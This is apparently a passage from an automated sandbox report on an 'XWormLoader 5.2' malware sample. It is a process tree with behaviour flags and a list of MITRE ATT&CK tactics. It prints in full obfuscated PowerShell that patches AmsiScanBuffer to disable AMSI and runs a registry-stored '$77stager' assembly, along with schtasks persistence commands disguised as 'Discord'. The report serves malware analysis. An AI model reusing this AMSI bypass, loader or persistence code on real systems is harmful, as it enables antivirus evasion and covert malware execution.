@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rjJqOCeTVAS=$nuiIxRcZpRTVn.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+'n'+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$EfnpToWseRKoHZ=$HCvJfvstKGVxzk.Invoke($Null,@([Object]$rjJqOCeTVAS,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+'a'+'ryA')));$SnpphpTJMhjyWrkUp=$HCvJfvstKGVxzk.Invoke($Null,@([Object]$rjJqOCeTVAS,[Object]('V'+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+'t'+''+'e'+''+'c'+'t')));$OFjNWEJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EfnpToWseRKoHZ,$yQmYBCNmLyMqauQBXbq).Invoke('a'+[Char](109)+'s'+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$HIwVOszMPDtyLrIiX=$HCvJfvstKGVxzk.Invoke($Null,@([Object]$OFjNWEJ,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+[Char](83)+''+'c'+''+'a'+''+'n'+'Bu'+[Char](102)+''+'f'+''+[Char](101)+'r')));$KfifdtTYcK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SnpphpTJMhjyWrkUp,$dzigsBsmLSAhHhqNqxOrKv).Invoke($HIwVOszMPDtyLrIiX,[uint32]8,4,[ref]$KfifdtTYcK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HIwVOszMPDtyLrIiX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SnpphpTJMhjyWrkUp,$dzigsBsmLSAhHhqNqxOrKv).Invoke($HIwVOszMPDtyLrIiX,[uint32]8,0x20,[ref]$KfifdtTYcK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OF'+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+'s'+[Char](116)+'a'+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:axNCrTzuDeWo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lVCxHtFrjlkTWl,[Parameter(Position=1)][Type]$OMGUoTknDe)$gZSQTHpiWsu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+''+'u'+'le',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+'s,'+[Char](80)+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'e'+'a'+'le'+'d'+''+','+'A'+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$gZSQTHpiWsu.DefineConstructor(''+'R'+'T'+'S'+''+'p'+'e'+'c'+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+'id'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lVCxHtFrjlkTWl).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+'i'+[Char](109)+''+'e'+''+','+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$gZSQTHpiWsu.DefineMethod(''+'I'+'n'+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+'u'+'b'+'l'+'i'+[Char](99)+','+[Char](72)+'id'+'e'+'By'+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+'N'+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+','+''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+'l',$OMGUoTknDe,$lVCxHtFrjlkTWl).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+'me'+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $gZSQTHpiWsu.CreateType();}$bXwhHPsHFYlhh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+'2'+'.U'+'n'+''+'s'+'a'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+''+'s'+'');$EAdbJeCTXeSHWO=$bXwhHPsHFYlhh.GetMethod(''+[Char](71)+'e'+'t'+'P'+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+'u'+'b'+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BUgSiZzHoHJytiRfYQU=axNCrTzuDeWo @([String])([IntPtr]);$qjcFnZPXbmNEKbXFgElzTo=axNCrTzuDeWo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rFILPCHdADp=$bXwhHPsHFYlhh.GetMethod('G'+'e'+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+'leH'+'a'+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'nel'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$hxjtumdjJOCnfW=$EAdbJeCTXeSHWO.Invoke($Null,@([Object]$rFILPCHdADp,[Object](''+[Char](76)+''+'o'+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$dKeorIkmebIeIrkxV=$EAdbJeCTXeSHWO.Invoke($Null,@([Object]$rFILPCHdADp,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$fNmpjDQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hxjtumdjJOCnfW,$BUgSiZzHoHJytiRfYQU).Invoke(''+'a'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$cFGcReAVZDtCULlRX=$EAdbJeCTXeSHWO.Invoke($Null,@([Object]$fNmpjDQ,[Object]('A'+'m'+'s'+'i'+'S'+[Char](99)+'a'+[Char](110)+'Bu'+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$QyhVTadAew=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dKeorIkmebIeIrkxV,$qjcFnZPXbmNEKbXFgElzTo).Invoke($cFGcReAVZDtCULlRX,[uint32]8,4,[ref]$QyhVTadAew);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$cFGcReAVZDtCULlRX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dKeorIkmebIeIrkxV,$qjcFnZPXbmNEKbXFgElzTo).Invoke($cFGcReAVZDtCULlRX,[uint32]8,0x20,[ref]$QyhVTadAew);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+'WA'+'R'+''+'E'+'').GetValue('$'+[Char](55)+'7'+[Char](115)+'t'+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:2688
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1400
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1256

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2472

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2596

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2584

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3076

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3340
- C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x64.exe
  "C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x64.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\svchost.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:4480
  - - C:\Users\Admin\AppData\Roaming\Discord\Discord.exe
      "C:\Users\Admin\AppData\Roaming\Discord\Discord.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:396
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Discord\Discord.exe" /rl HIGHEST /f
        5⤵
        Creates scheduled task(s)
        
        PID:4740
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /delete /tn "Discord" /f
        5⤵
        
        PID:1248
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3392
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9kfq0615SnBy.bat" "
        5⤵
        
        PID:3592
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4420
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        
        PID:484
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        6⤵
        Runs ping.exe
        
        PID:976
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 384
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3332
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 392
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3792
    - - C:\Users\Admin\AppData\Local\Temp\install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\install.exe"
        5⤵
        Executes dropped EXE
        
        PID:4616
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "$77Discord.exe" /tr "'C:\Users\Admin\AppData\Roaming\Discord\Discord.exe'" /sc onlogon /rl HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:1044
  - - C:\Users\Admin\AppData\Local\Temp\install.exe
      "C:\Users\Admin\AppData\Local\Temp\install.exe"
      4⤵
      Executes dropped EXE
      PID:2336
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      "SCHTASKS.exe" /create /tn "$77svchost.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\svchost.exe'" /sc onlogon /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1952
- - C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x32.exe
    "C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x32.exe"
    3⤵
    - Executes dropped EXE
    PID:4492
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4492 -s 900
      4⤵
      Program crash
      PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3528

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3884

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3932

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4052

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3160

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4392

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3176

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3320

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2624
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4492 -ip 4492
  2⤵
  PID:4420
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3592 -ip 3592
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:4652
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3592 -ip 3592
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:2552

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Credential Access

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery